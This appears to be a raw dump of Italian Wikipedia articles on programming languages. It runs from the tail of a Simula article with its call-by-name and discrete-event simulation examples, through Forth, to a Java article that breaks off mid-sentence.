i:=inf;\n While i &lt;= sup Do\n Begin\n somma := somma+elemento;\n i := i + 1;\n End;\n sommatoria := somma;\n End;\n \"!Programma principale;\"\n Integer i, a;\n Real z;\n a :=6;\n z := sommatoria (i, 1, 100, 1 / (i + a) ** 2);\n outreal(z,5,12);\n outimage;\n End;\ne produrrebbe il seguente risultato:\n 1.4416&amp;-001\nIl semplice esempio che segue mostra il diverso comportamento del parametro vNome, passato per nome, rispetto a vValo, passato per valore.\n Begin\n Procedure valoNome(vValo, vNome);\n Name vNome;\n Integer vValo, vNome;\n Begin\n OutText(\"Procedura valoNome\"); OutImage;\n OutText(\"vGlob vale: \"); Outint(vGlob,4); OutImage;\n OutText(\"vValo vale: \"); OutInt(vValo,4); OutImage;\n OutText(\"vNome vale: \"); OutInt(vNome,4); OutImage;\n vGlob := 1;\n OutText(\"vGlob vale: \"); Outint(vGlob,4); OutImage;\n OutText(\"vValo vale: \"); OutInt(vValo,4); OutImage;\n OutText(\"vNome vale: \"); OutInt(vNome,4); OutImage;\n End;\n !Programma principale;\n Integer vGlob;\n OutText(\"Programma principale prima di chiamare valoNome\"); OutImage;\n vGlob := 6;\n OutText(\"vGlob vale: \"); Outint(vGlob,4); OutImage;\n valoNome(vGlob+4,vGlob+4);\n OutText(\"Programma principale dopo aver chiamato valoNome\"); OutImage;\n OutText(\"vGlob vale: \"); Outint(vGlob,4); OutImage;\n End;\nCome si pu\u00f2 notare entrambi i parametri, nella procedura valoNome, sono usati ciascuno due volte e solo nell'istruzione di stampa OutInt. Poich\u00e9 il parametro vNome, essendo passato per nome, viene ricalcolato ogni volta che viene usato, la seconda volta ha un valore diverso dalla prima, anche se la procedura non ha eseguito nessuna operazione diretta su di esso, ma solo sulla variabile globale vGlob da cui esso dipende. Infatti il risultato che si ottiene \u00e8:\n Programma principale prima di chiamare valoNome\n vGlob vale: 6\n Procedura valoNome\n vGlob vale: 6\n vValo vale: 10\n vNome vale: 10\n vGlob vale: 1\n vValo vale: 10\n vNome vale: 5\n Programma principale dopo aver chiamato valoNome\n vGlob vale: 1\nLa classe predefinita Simulation.\nIl Simula fornisce (oltre ad altre classi di sistema) la classe predefinita Simulation che, come dice il nome, fornisce degli strumenti (cio\u00e8 attributi e metodi) per la simulazione a eventi discreti.\nNell'esempio qui sotto Piero, Elda e Walter stanno facendo acquisti in un negozio di abbigliamento, che per\u00f2 ha un solo camerino che deve essere usato a turno. Ciascuno dei tre clienti esamina gli articoli del negozio mediamente per 12 minuti (con distribuzione normale, con deviazione standard 4, del tempo d'esame) e poi usa il camerino mediamente per 3 minuti (con distribuzione normale, con deviazione standard 1, del tempo d'uso). Il programma simula quanto accade e, per i primi 30 minuti, stampa quando ciascuno dei tre clienti \u00e8 pronto per provare un capo di vestiario nel camerino, accede al camerino e lascia il camerino.\n Simulation Begin\n Class classeCamerino; Begin\n Ref(Head) porta;\n Boolean occupato;\n Procedure necessitaCamerino; Begin\n If occupato Then Begin\n Wait(porta);\n porta.First.Out;\n End;\n occupato := True;\n End;\n Procedure leave; Begin\n occupato := False;\n Activate porta.First;\n End;\n porta :- New Head;\n End;\n Procedure scriviReport(messaggio); Text messaggio; Begin\n OutFix(Time,2,0); OutText(\": \" &amp; messaggio); OutImage;\n End;\n Process Class persona(nome); Text nome; Begin\n While True Do Begin\n Hold(Normal(12,4,seme));\n scriviReport(nome &amp; \" ha bisogno del camerino\");\n camerino.necessitaCamerino;\n scriviReport(nome &amp; \" entra nel camerino\");\n Hold(Normal(3,1,seme));\n camerino.leave;\n scriviReport(nome &amp; \" esce dal camerino\");\n End;\n End;\n Integer seme;\n Ref(classeCamerino) camerino;\n seme:=4321;\n camerino :- New classeCamerino;\n Activate New persona(\"Piero\");\n Activate New persona(\"Elda\");\n Activate New persona(\"Walter\");\n Hold(30);\n End;\nIl blocco principale del programma \u00e8 prefissato con la classe Simulation.\nL'oggetto camerino usa una coda (codice_1) per consentire l'accesso al camerino. Quando un cliente ha bisogno del camerino e questo \u00e8 gi\u00e0 occupato deve aspettare in questa coda (codice_2). Quando un cliente esce dal camerino il primo cliente nella coda (se ce n'\u00e8 almeno uno) viene attivato (codice_3) ed esce dalla coda (codice_4).\nLa classe persona \u00e8 una sottoclasse della classe Process (che \u00e8 un attributo della classe Simulation) e pertanto pu\u00f2 usare i metodi di Process: ad esempio hold per simulare sia il tempo che un cliente sta nel negozio, sia il tempo che sta nel camerino.\nIl programma principale crea i tre oggetti della classe persona (cio\u00e8 Piero, Elda e Walter) e li inserisce nella coda degli eventi. Poi il tutto prosegue per 30 minuti di tempo simulato. Il risultato prodotto dal programma, compilato col compilatore PC-Simula per MS/DOS, \u00e8 riportato qui sotto:\n 10.67: Elda ha bisogno del camerino\n 10.67: Elda entra nel camerino\n 11.62: Piero ha bisogno del camerino\n 14.08: Piero entra nel camerino\n 14.08: Elda esce dal camerino\n 14.41: Walter ha bisogno del camerino\n 16.63: Walter entra nel camerino\n 16.63: Piero esce dal camerino\n 19.64: Walter esce dal camerino\n 26.38: Elda ha bisogno del camerino\n 26.38: Elda entra nel camerino\n 28.60: Piero ha bisogno del camerino\n 29.05: Piero entra nel camerino\n 29.05: Elda esce dal camerino\nLo stesso programma, compilato col compilatore Cim per MS/DOS, produce invece il seguente risultato:\n 6.92: Piero ha bisogno del camerino\n 6.92: Piero entra nel camerino\n 7.11: Walter ha bisogno del camerino\n 7.97: Elda ha bisogno del camerino\n 9.78: Walter entra nel camerino\n 9.78: Piero esce dal camerino\n 12.37: Elda entra nel camerino\n 12.37: Walter esce dal camerino\n 15.25: Elda esce dal camerino\n 21.48: Walter ha bisogno del camerino\n 21.48: Walter entra nel camerino\n 21.55: Piero ha bisogno del camerino\n 25.13: Piero entra nel camerino\n 25.13: Walter esce dal camerino\n 27.83: Piero esce dal camerino\n 28.30: Elda ha bisogno del camerino\n 28.30: Elda entra nel camerino\nIl fatto che i due risultati siano diversi non deve stupire, poich\u00e9 il programma fa uso della procedura intrinseca normal che, anche se inizializzata con lo stesso seme (nel caso in esame 4321), restituisce valori che variano da implementazione a implementazione. Come per tutte le procedure di tipo statistico, sono infatti le caratteristiche statistiche dei valori che restituisce quelle che importano; per questa procedura, in particolare, i valori di ritorno devono essere tali che, se la procedura \u00e8 chiamata un \"grande numero\" di volte, la loro distribuzione sia di tipo normale, con una data media e una data deviazione standard."}
{"id": "26746", "revid": "125713872", "url": "https://it.wikipedia.org/wiki?curid=26746", "title": "Forth (linguaggio)", "text": "Il Forth \u00e8 un linguaggio di programmazione sviluppato da Chuck Moore presso l'US National Radio Astronomy Observatory (NRAO) dall'inizio degli anni sessanta, ma usc\u00ec ufficialmente soltanto nel 1969, per essere poi formalizzato nel 1977, e standardizzato nel 1979, nel 1983 dal \"Forth Standards Team\" e poi dall'ANSI nel 1994 e aggiornato al Forth Standard 2012 (2012 e 2014) dal Forth 200x Standardization Commitee con richiesta di aggiornamento anche allo standard ANSI. \nIl nome deriva dal fatto che Moore pensava fosse un linguaggio di quarta generazione (\"fourth generation language\" in inglese), ma il computer sul quale il sistema venne sviluppato ammetteva solo nomi di file lunghi al massimo cinque lettere. Nato per essere un linguaggio del futuro, verr\u00e0 poi utilizzato in ambiti specifici come il software di controllo.\nIl linguaggio Forth \u00e8 un linguaggio funzionale, orientato ai problemi e alle applicazioni, basato concettualmente sulle astrazioni e le definizioni concettuali, mentre sul piano dell'architettura a basso livello \u00e8 basato sullo stack, sul dizionario, sull'implementazione di funzionalit\u00e0 vicine al livello macchina, sull'efficienza e l'ottimizzazione.\nEsso \u00e8 al contempo un linguaggio ad alto livello e un linguaggio di basso livello (in seguito nel testo \u00e8 spiegato il perch\u00e9 di questo paradosso), un sistema operativo, un set di strumenti di sviluppo, una filosofia di approccio ai problemi e al software design. \u00c8 altres\u00ec anche un compilatore (di se stesso) e un \"interprete\", e consente l'inversione comandata delle parti e delle istruzioni da una modalit\u00e0 di conversione all'altra, decidendo di fatto anche punto per punto quali parti compilare e quali interpretare, quali funzionalit\u00e0 gestire a tempo di compilazione e quali a a tempo di esecuzione. Non ha stretta necessit\u00e0 di un vero debugger in quanto funge da debugger di se stesso e normalmente (salvo casi rari e particolarmente minificati) incorpora comandi di trapping, tracking, espansione del codice (anche quello gi\u00e0 compilato), watchpoint e breakpoint. \nIl paradigma di programmazione \u00e8 funzionale, ed \u00e8 possibile usarlo in modo funzionale o pseudoprocedurale oppure utilizzarlo in modalit\u00e0 OOP (nelle implementazioni moderne e ANSI). Non tutte le implementazioni sono tuttavia OOP compliant, ma va altres\u00ec ricordato che il Forth utilizza \"sempre\" un sistema di definizione astratto molto potente, che per analogia \u00e8 pi\u00f9 o meno assimilabile al concetto di classi e oggetti di cui \u00e8 un'alternativa, e relative tecniche di switching dinamico fra strutture o blocchi funzionali allocati che ricorda in parte la dinamica del subclassing.\nUtilizzi.\nViene utilizzato in \u00e0mbiti tecnici specifici, quali robotica, controllo di bordo di navette e sonde spaziali, autogestione di hard disk nella logica di controllo interna, per la gestione e per l'ottimizzazione delle prestazioni, controlli avionici, embedded system, BIOS, interfacce UEFI-equivalenti, sistemi di booting, sistemi di controllo, sistemi di diagnostica, dispositivi di check-up tecnico, sistemi esperti, sistemi di verifica, controller in robotica. \nPersiste inoltre anche tra gli appassionati e tra gli accademici, i primi per diletto e lavoro, i secondi per la ricerca in ambito lambda calcolo, conta nel tempo diversi casi di successo distribuiti negli anni. Il libro \"Thinking Forth\" ebbe una terza ristampa nel 2004. \n\u00c8 utilizzato ad esempio nel Boeing 777 per i controlli avionici, per la risoluzione di problemi costruttivi, il debugging dell'unit\u00e0 di controllo hardware e su terra per simularne i circuiti di comando, per i sistemi di monitoraggio e di sviluppo CAS/CMS 777, per creare moduli avionici LRU facilmente sostituibili anche dinamicamente in failover e fail safe.\n\u00c8 stato utilizzato per creare videogame, specialmente per arcade del passato, funzione a cui si presta grazie al riutilizzo modulare e alla possibilit\u00e0 di utilizzare efficaci screen editor, alcuni dei quali anche free all'interno delle community delle FIG.\nDiverse versioni per embeddeb, oltre a fork e derivati sono utilizzati per controllo di dispositivi, hard disk, stampanti. Viene anche utilizzato come boot loader, adottati per il personal computer Apple MacIntosh, per i sistemi Alpha, Open Firmware, Open Boot, e nel sistema operativo FreeBSD il cui boot loader utilizza un Forth semplificato e adattato allo scopo, FICL.\nCaratteristiche.\nLinguaggio con possibilit\u00e0 di uso sia immediato che differito.\nIl Forth prevede la possibilit\u00e0 sia di essere eseguito in modalit\u00e0 interattiva, rendendo possibile il suo utilizzo come shell in sistemi che non possedevano un vero e proprio sistema operativo, sia la possibilit\u00e0 di compilare sequenze di comandi per una loro successiva esecuzione. Oltre a questo sono presenti una serie di comandi e specificit\u00e0 per il controllo granulare dell'allocazione degli oggetti generici e delle compilazioni di entit\u00e0 atomiche, anche punto-punto nello stesso programma o nello \"screen\" (i moduli storici di divisione di un programma Forth).\nCome linguaggio di programmazione vero e proprio, il Forth \u00e8 dotato di un insieme di comandi standard piuttosto potente e di meccanismi che permettono di definire propri comandi, anche usando un mix di comandi standard e linguaggio Assembly. Dato che al livello pi\u00f9 alto il codice sorgente di un programma Forth pu\u00f2 arrivare ad assomigliare molto al linguaggio naturale (la lingua inglese si presta meglio dell'italiano rispetto alla struttura grammaticale), ed \u00e8 stato chiamato anche un linguaggio \"meta-applicativo\".\nIl classico esempio di stampa di \"Ciao mondo\", in Forth si pu\u00f2 scrivere in due modi, con il comando diretto :\ncodice_1 \noppure definendo una funzione chiamata \"Ciao\" in questo modo:\n : CIAO .\" Ciao mondo\" CR ;\nin seguito digitando \"CIAO\" si otterr\u00e0 la stampa della stringa.\nLinguaggio estensibile e modulare.\nTra le caratteristiche di questo linguaggio c'\u00e8 l'estensibilit\u00e0, che significa che non c'\u00e8 differenza tra keyword e routine ed \u00e8 predisposto per la strutturazione modulare.\nIl codice \u00e8 particolarmente leggibile una volta che ne si conoscono la sintassi e il tipo di costrutto, la lettura appare chiara e scorrevole e lo sviluppo rapido.\nLinguaggio sia di alto livello che di basso livello.\nIl Forth rientra nella definizione di HLL in quanto \u00e8 un \"metalinguaggio\" che consente l'astrazione delle definizioni, la definizione di un linguaggio vicino a quello umano, e l'uso di grammatiche operative e non-operative (soggetto, verbo o predicato verbale in forma passiva, complemento oggetto) anche in forme complesse (come l'uso del complemento predicativo dell'oggetto). Di fatto il Forth consente di ridefinire se stesso o creare un altro linguaggio per ogni uso specifico o per ogni singolo programma. \nTuttavia i comandi e le istruzioni \"assiomatiche\" sono molto vicine alla macchina, e la compilazione stessa si basa sull'autoespansione istantanea delle nuove definizioni del dizionario, ovvero, non occorre un processo di compilazione e linking tradizionali alla maniera del C o del C++ perch\u00e9 la compilazione avviene durante la stesura stessa del programma ad ogni invio, salvo diverse istruzioni all'ambiente IDE/CLI. Per questa caratteristica \u00e8 allo stesso tempo un linguaggio di basso livello (\"v. oltre\"). \nStack-based e stack-oriented.\nIl Forth \u00e8 un linguaggio stack-based e stack-oriented, cio\u00e8 basato sulla \"pila o catasta\", sia come gestione di dati astratti, sia perch\u00e9 verte sulla pila come tecnica architettonica per fruire della cache e delle memorie veloci interne a CPU e coprocessori.\nLo stack \u00e8 utilizzato nell'architettura interna di altri linguaggi, come per esempio nel Fortran e nel BASIC dove viene impiegato per memorizzare i valori da elaborare, tuttavia in questi linguaggi il programmatore non pu\u00f2 accedervi n\u00e9 manipolarlo direttamente. Al contrario, una caratteristica che rende il Forth singolare e molto potente \u00e8 la filosofia di progettazione che consente di usare lo stack direttamente per la scrittura dei programmi.\nBench\u00e9 si tratti di una coda con metodo di transito LIFO, l'ambiente di lavoro consente meccanismi di impiego per accesso bidirezionale e manipolazioni intermedie. \nOgni implementazione del Forth fruisce di almeno due stack, lo stack dei parametri e lo stack di ritorno, \"data stack\" e \"return stack\". Usualmente ne sono presenti almeno tre o pi\u00f9, ai suddetti si aggiunge quasi sempre lo stack in virgola mobile, \"floating point stack\", eventuali stack pivot o per usi supplementari, e gli stack locals. Il Gforth, per esempio, che \u00e8 un'implementazione di pubblico dominio attivamente sviluppata, utilizza quattro stack, il quarto \u00e8 il locals, che in sostanza funge da return stack per valori in virgola mobile e aggira alcune limitazioni di gestione del return stack in situazioni particolari.\nQuando si parla solo di \"stack\", senza specificare, per antonomasia e di default lo stack del Forth \u00e8 lo stack dei parametri.\nRelazione con l'Assembly.\nLe implementazioni pi\u00f9 puriste sono basate sull'Assembly, la velocit\u00e0 di esecuzione \u00e8 altissima, tanto che in passato era considerato il linguaggio pi\u00f9 veloce in esecuzione dopo l'Assembly o al pari dell'Assembly. Attualmente questa caratteristica \u00e8 dipendente dalla tipologia di implementazione, in quanto le versioni riscritte in C o altri linguaggi per ragioni di portabilit\u00e0 pur avendo spesso un'elevata efficienza possono non raggiungere le performance di linguaggi compilati imperativi e procedurali quale il C.\nL'Assembler incorporato.\nMolte versioni non minimali incorporano anche un Assembler con relativo sistema di gestione ben integrato con l'ambiente della modalit\u00e0 Forth, tanto da poterli combinare agevolmente assieme senza problemi. \nL'autocompilazione e la cross-compilazione.\nA causa del fatto che utilizza l'autoespansione delle word verso l'Assembly, questo linguaggio non ha necessit\u00e0 dell'uso di un compilatore, in quanto \"il Forth \u00e8 compilatore di se stesso\" e pu\u00f2 combinare in modo granulare elementi compilati e interpretati, consente cross-compilazioni complesse e su cui si ha un forte controllo.\nLa centralit\u00e0 del dizionario e i vocabolari.\nLa definizione di nuovi termini parte da un set di sistema o assiomatico al quale via via si aggiungono i nuovi lemmi, le \"words\". \nL'engine dell'IDE gestisce nuovi termini e istruzioni nel dizionario (\"dictionary\") di sistema, che pu\u00f2 essere modificato, manipolato o \"vitaminizzato\" con aggiunte, istruzioni e librerie a piacimento. \nUn uso operativo pu\u00f2 essere quello di controllo operativo di un device in domotica o come sistema embedded. Il classico esempio lanciato da Leo Brodie \u00e8 quello di un comando per lavatrice elettrica domestica:\ncodice_2\nper programmare la funzionalit\u00e0 della macchina con la sequenza del programma di lavaggio.\nInvece, un uso non di controllo operativo pu\u00f2 essere quello (spesso sfruttato in passato) di traduttore automatico di lingue nei dispositivi palmari per turisti. Per quest'ultimo scopo viene agevolmente impiegata la funzionalit\u00e0 dei vocabolari (\"vocabulary, vocabularies, wordlist)\" che consentono traduzioni rapide o il cambio di paradigma o il polimorfismo in maniera paragonabile all'overload degli operatori di altri linguaggi, ma in maniera pi\u00f9 estesa e potente. \u00c8 pertanto possibile, quindi, rendere l'operazione di somma applicabile anche nell'algebra matriciale o nelle composizioni vettoriali, o per esempio due numeri complessi. Una volta creato il set di una o pi\u00f9 lingue (vocabolario) basta richiamare la nuova lingua per avere la traduzione automatica, funzionalit\u00e0 usata spesso a scopi tecnico-scientifici. Le word keyword vengono sommarizzate e indicizzate nella memoria dell'apposito \"summary.\"\nLa notazione polacca inversa di \u0141ukasiewicz-Hamblin.\nAnche per tale ragione l'usuale operativit\u00e0 fa uso della notazione polacca di \u0141ukasiewicz-Hamblin inversa (RPN), tranne che per alcuni costrutti funzionali (specialmente con l'uso dell\"'execution token\") che usano la notazione polacca di \u0141ukasiewicz semplice (di norma non pilotano direttamente lo stack). \nQuesto significa che l'operatore \u00e8 normalmente posposto agli operandi, ma anche che \u00e8 possibile annidare cospicui livelli di operazioni matematica senza ricorrere alle parentesi, ma anche precalcolare in determinate e ricorrenti situazioni i valori parametrici intermedi delle formule prima di avere tutti i dati, per poi concludere i calcoli alla fine a dati finali ricevuti, con notevole vantaggio di ottimizzazione.\nUn esempio molto semplice di un'operazione aritmetica, per esempio la somma 5 + 7, \u00e8 dato da:\ncodice_3 \nIl costrutto di definizione CREATE.\nPer aumentare le potenzialit\u00e0, l'espressivit\u00e0 e l'uso, il Forth \u00e8 dotato di meccanismi avanzati di creazione e gestione di definizioni e strutture astratte. Uno dei pi\u00f9 importanti \u00e8 il costrutto CREATE, una definizione che si avvale di due istruzioni speciali, \"CREATE\", che crea una struttura astratta analoga a una classe, in cui vengono racchiuse le definizioni e i dati o una parte dei dati, paragonabile alle propriet\u00e0 delle classi, e \"DOES&gt;\", che definisce comportamenti e azioni (paragonabile ai metodi delle classi).\nAlcune versioni e implementazioni del Forth hanno un ulteriore livello: le \"defining definition words\", che servono a definire strumento per la definizione di nuovi oggetti o entit\u00e0. In ogni caso non \u00e8 difficile implemetarne una, come gi\u00e0 dimostrava la rivista interna del FIG (Forth Interest Group) a fine anni '70 - inizio anni '80.\nL'execution token.\nIl Forth consente la metainterpretazione semantica di una word con il token XT, che consente anche la commutazione di dati in codice e ha una funzionalit\u00e0 analoga al puntatore del C, ma con una grande flessibilit\u00e0 su manipolazione della memoria e compilazione, nonch\u00e9 una tecnica vagamente similare al subclassing."}
{"id": "26747", "revid": "124759927", "url": "https://it.wikipedia.org/wiki?curid=26747", "title": "Java (linguaggio di programmazione)", "text": "In informatica Java \u00e8 un linguaggio di programmazione ad alto livello, orientato agli oggetti e a tipizzazione statica, che si appoggia sull'omonima piattaforma software di esecuzione, specificamente progettato per essere il pi\u00f9 possibile indipendente dalla piattaforma hardware di esecuzione (tramite compilazione in bytecode prima e interpretazione poi da parte di una JVM) (sebbene questa caratteristica comporti prestazioni in termini di computazione inferiori a quelle di linguaggi direttamente compilati come C e C++ ovvero dunque perfettamente adattati alla piattaforma hardware).\nStoria.\nJava \u00e8 stato creato a partire da ricerche effettuate alla Stanford University agli inizi degli anni novanta. Nel 1992 nasce il linguaggio Oak (in italiano \"quercia\"), prodotto da Sun Microsystems e realizzato da un gruppo di esperti sviluppatori capitanati da James Gosling. Questo nome fu successivamente cambiato in Java per problemi di copyright: il linguaggio di programmazione Oak esisteva gi\u00e0.\nPer facilitare il passaggio a Java ai programmatori \"old-fashioned\", legati in particolare a linguaggi come il C++, la sintassi di base (strutture di controllo, operatori ecc.) \u00e8 stata mantenuta pressoch\u00e9 identica a quella del C++; tuttavia a livello di linguaggio non sono state introdotte caratteristiche ritenute fonte di complessit\u00e0 non necessaria e che favoriscono l'introduzione di determinati bug durante la programmazione, come l'aritmetica dei puntatori e l'ereditariet\u00e0 multipla delle classi. Per le caratteristiche orientate agli oggetti del linguaggio ci si \u00e8 ispirati al C++ e soprattutto all'Objective C.\nIn un primo momento Sun decise di destinare questo nuovo prodotto alla creazione di applicazioni complesse per piccoli dispositivi elettronici; fu solo nel 1993 con l'esplosione di internet che Java inizi\u00f2 a farsi notare come strumento per iniziare a programmare per internet. Contemporaneamente Netscape Corporation annunci\u00f2 la scelta di dotare il suo allora omonimo e celeberrimo browser della Java Virtual Machine (JVM). Questo segna una rivoluzione nel mondo di Internet: grazie agli applet le pagine web diventarono interattive a livello client, ovvero le applicazioni vengono eseguite direttamente sulla macchina dell'utente di internet e non su un server remoto. Per esempio gli utenti poterono utilizzare giochi direttamente sulle pagine web e usufruire di chat dinamiche e interattive.\nJava fu annunciato ufficialmente il 23 maggio 1995 a SunWorld. Il 13 novembre 2006 la Sun Microsystems ha distribuito la sua implementazione del compilatore Java e della macchina virtuale sotto licenza GPL. Non tutte le piattaforme Java sono libere. L'ambiente Java libero si chiama IcedTea. L'8 maggio 2007 Sun ha pubblicato anche le librerie, tranne alcuni componenti non di sua propriet\u00e0, sotto licenza GPL, rendendo Java un linguaggio di programmazione la cui implementazione di riferimento \u00e8 libera. Il linguaggio \u00e8 definito da un documento chiamato \"The Java Language Specification,\" spesso abbreviato \"JLS\". La prima edizione del documento \u00e8 stata pubblicata nel 1996. Da allora il linguaggio ha subito numerose modifiche e integrazioni, aggiunte di volta in volta nelle edizioni successive. A fine 2018 la versione pi\u00f9 recente delle specifiche \u00e8 la \"Java SE 11 Edition\".\nDescrizione.\nPrincipi.\nJava venne creato per soddisfare cinque obiettivi primari:\nLinguaggio.\nUno dei principi fondamentali del linguaggio \u00e8 espresso dal motto \"WORA\" (\"write once, run anywhere\", ossia \"scrivi una volta, esegui ovunque\"): il codice compilato che viene eseguito su una piattaforma non deve essere ricompilato per essere eseguito su una piattaforma diversa; infatti il prodotto della compilazione \u00e8 in un formato chiamato bytecode che pu\u00f2 essere eseguito da una qualunque implementazione di un processore virtuale detto Java Virtual Machine; al 2014 Java risulta essere uno dei linguaggi di programmazione pi\u00f9 usati al mondo, specialmente per applicazioni client-server, con un numero di sviluppatori stimato intorno ai 9 milioni.; un buon punto di partenza per imparare Java \u00e8 il tutorial ufficiale.\nHello, world!\nSegue il codice sorgente di un semplice programma che stampa il testo \"Hello world\" sulla console.\n class HelloWorld {\n public static void main(String[] args) {\n System.out.println(\"Hello World\");\nUn programma minimale in Java deve obbligatoriamente contenere la definizione di classe tramite la parola chiave \"class\" seguita dal \"nome_classe\" e il metodo \"main\" o metodo principale nonch\u00e9 \"entry point\" del programma in cui vengono definite variabili globali, oggetti e richiamati metodi statici su variabili e/o dinamici sugli oggetti.\nNell'esempio soprastante il \"main\" contiene l'istruzione per la stampa a video della stringa \"Hello World\"; pur essendo perfettamente funzionante e semplice da comprendere, non viene sfruttata la filosofia ad oggetti che viene normalmente applicata ad ogni programma scritto in Java. Segue il codice sorgente di un programma che svolge lo stesso compito del precedente usando la programmazione orientata agli oggetti.\npublic class Messaggio {\n private String toPrint;\n public Messaggio(String print) {\n this.toPrint = print;\n public void print() {\n System.out.println(this.toPrint);\n public static void main(String args[]) {\n Messaggio ciaoMondo = new Messaggio(\"Hello World!\");\n ciaoMondo.print();\nIl metodo \"main\" affida la stampa del messaggio a un oggetto creato apposta per questo compito, su cui \u00e8 invocato il metodo dinamico \"print\" definito prima del main assieme al \"costruttore\" della classe ovvero quel particolare metodo (con ugual nome della classe) che serve per inizializzare l'attributo della classe \"toPrint\" dell'oggetto creato/istanziato nel main. I metodi definibili possono essere dichiarati \"privati\" (contrassegnati dalla parola chiave \"private\") se richiamabili solo all'interno della stessa classe oppure \"pubblici\" (contrassegnati dalla parola chiave \"public\") se richiamabili anche da altre classi, di tipo \"statico\" (contrassegnati dalla parola chiave \"static\") se invocabili liberamente all'interno della classe (ad es. su variabili globali), \"dinamici\" se invocabili su oggetti.\nScrivendo nuove classi che supportano l'operazione \"print\", si pu\u00f2 adattare il programma per mostrare messaggi di tipi radicalmente diversi, lasciando il \"main\" pressoch\u00e9 immutato, cambiando soltanto la met\u00e0 riga che segue il \"new\". Per esempio si pu\u00f2 considerare un messaggio la scritta in una finestra che appare sullo schermo del computer in uso, oppure una stringa inviata su connessione di rete per apparire sulla finestra di un computer client. Oppure il programma pu\u00f2 dialogare con l'utente sulla riga di comando o in una finestra (considerando il dialogo come un \"messaggio interattivo\").\nSi pu\u00f2 modificare radicalmente il comportamento del programma con modifiche circoscritte e in punti predisposti a priori (polimorfismo): il programma pu\u00f2 resistere ad aggiornamenti ed esigenze non previste. Segue il codice sorgente di due programmi che mostrano lo stesso testo all'interno di una finestra. Il primo crea una finestra standard dove viene scritta la stringa inserita come parametro mentre il secondo programma crea una finestra rispettando i parametri (ad esempio la grandezza della finestra) inseriti nel codice.\nimport javax.swing.JOptionPane;\npublic class HelloWorld {\n public static void main( String[] args) {\n JOptionPane.showMessageDialog(null, \"Hello World!\");\n//HelloWorld.java\npackage helloworld;\nimport javafx.application.Application;\nimport javafx.event.ActionEvent;\nimport javafx.event.EventHandler;\nimport javafx.scene.Scene;\nimport javafx.scene.control.Button;\nimport javafx.scene.layout.StackPane;\nimport javafx.stage.Stage;\npublic class HelloWorld extends Application {\n @Override\n public void start(Stage primaryStage) {\n Button btn = new Button();\n btn.setText(\"Say 'Hello World'\");\n btn.setOnAction(new EventHandler&lt;ActionEvent&gt;() {\n @Override\n public void handle(ActionEvent event) {\n System.out.println(\"Hello World!\");\n });\n StackPane root = new StackPane();\n root.getChildren().add(btn);\n Scene scene = new Scene(root, 300, 250);\n primaryStage.setTitle(\"Hello World!\");\n primaryStage.setScene(scene);\n primaryStage.show();\n public static void main(String[] args) {\n launch(args);\nIl codice proposto crea degli oggetti utilizzati per gestire l'interfaccia grafica. Viene inizialmente creata una finestra il cui titolo \u00e8 \"Hello World!\"; all'interno di questa finestra viene inserita un'etichetta che contiene al centro la scritta \"Hello World!\". Infine viene stabilita la dimensione della finestra che, finalmente, viene resa visibile assieme all'etichetta che porta la scritta da visualizzare. Anche in questo codice si fa uso della programmazione a oggetti, ma in un modo diverso: il \"main\" non conosce i meccanismi necessari per creare una interfaccia grafica sullo schermo e questi sono decisi dalle classi JFrame e JLabel che sono state predisposte a priori (incapsulamento).\nType system.\nJava \u00e8 un linguaggio type safe, a tipizzazione statica, con un \"nominative\" type system, e dotato di \"manifest typing\". In virt\u00f9 di queste caratteristiche, viene generalmente considerato un linguaggio a tipizzazione forte. Il linguaggio distingue chiaramente i tipi primitivi che definiscono valori atomici dai tipi strutturati che definiscono strutture dati composte.I tipi primitivi sono detti anche \"tipi atomici\" e \"tipi base\" e sono definiti nelle specifiche di linguaggio: di ognuno sono noti l'insieme esatto dei valori ammessi e gli operatori supportati.\nI tipi strutturati sono anche tipi riferimento, cio\u00e8 definiscono oggetti, e sono classi o interfacce. Tra queste, le classi degli array sono definite nelle specifiche di linguaggio; tutti gli altri tipi strutturati sono \"definiti dall'utente\" (\"user-defined\"), cio\u00e8 dal programmatore. I tipi definiti dall'utente che sono legati al linguaggio per qualche motivo sono riuniti nel package codice_1 e nei suoi sottopackage; il linguaggio stabilisce per alcuni di essi (codice_2, codice_3, codice_4, e altri) delle regole sintattiche o semantiche aggiuntive.\nI tipi riferimento includono le classi per la gestione delle stringhe, gli array e le collezioni (liste, mappe, ecc.).\nDa tutto ci\u00f2 consegue che i valori dei tipi base non sono oggetti. Tuttavia per ogni tipo base \u00e8 definita una corrispondente classe, definita in gergo \"tipo wrapper\" o \"tipo contenitore\", nel package codice_1, classe che permette di incapsulare dentro un oggetto un valore di tipo primitivo. Opportuni metodi della classe wrapper permettono di ottenere l'oggetto che incapsula un certo valore, e il valore incapsulato da un certo oggetto.\nDalla versione 5.0 in poi sono supportati l'\"autoboxing\" e l'\"unboxing\" che permettono di convertire da tipo primitivo a corrispondente classe \"wrapper\" e viceversa. Il compilatore, \"dietro le quinte\", traduce la conversione in una opportuna invocazione a metodo sulla classe contenitore; quindi non si tratta di una vera conversione, ma di una sintassi comoda che \"nasconde\" la creazione di un oggetto della classe wrapper. Come molti altri linguaggi di programmazione anche Java possiede tra le strutture dati gli array (vedi array in Java).\nCostanti.\nValori costanti in Java si identificano con le parole chiave prefisse: static final seguita dal tipo, nome della costante e dal valore assegnato:\n static final tipo_costante &lt;nome_costante&gt; = valore;\nesempio:\nstatic final double PREZZO = 15.99;\nPer convenzione i nomi delle costanti sono tutti maiuscoli.\nStrutture di controllo.\nSono supportate le seguenti strutture di controllo:\nAl di l\u00e0 dei costrutti per la programmazione ad oggetti il resto della sintassi di Java \u00e8 detta \"like C\", cio\u00e8 derivata o simile a quella del linguaggio C.\nOrientamento agli oggetti.\nJava \u00e8 un linguaggio \"object-oriented\". L'idea che sta alla base della OOP \u00e8 di rappresentare le entit\u00e0 reali o astratte che determinano le dinamiche del problema risolto dal software sotto forma di entit\u00e0 unitarie, dotate di specifiche d'uso e di funzionamento definite a priori. Queste entit\u00e0 sono chiamate \"oggetti\". Le specifiche che definiscono le caratteristiche di queste unit\u00e0 e in base a cui le stesse vengono create o in gergo \"istanziate\", sono chiamate \"classi\".Java tuttavia non \u00e8 un linguaggio ad oggetti puro, ma solamente \"object oriented\" (orientato agli oggetti): per esempio i valori dei tipi primitivi non sono oggetti.\nNel linguaggio Java gli oggetti sono dotati di campi (definiti anche \"attributi\" o \"variabili di istanza\" o \"di esemplare\") e di metodi. I metodi sono abitualmente usati per implementare agevolmente molti altri costrutti che alcuni altri linguaggi forniscono nativamente, come la gestione degli eventi (implementata attraverso i \"listener\") o delle propriet\u00e0, implementate tramite gli \"accessor 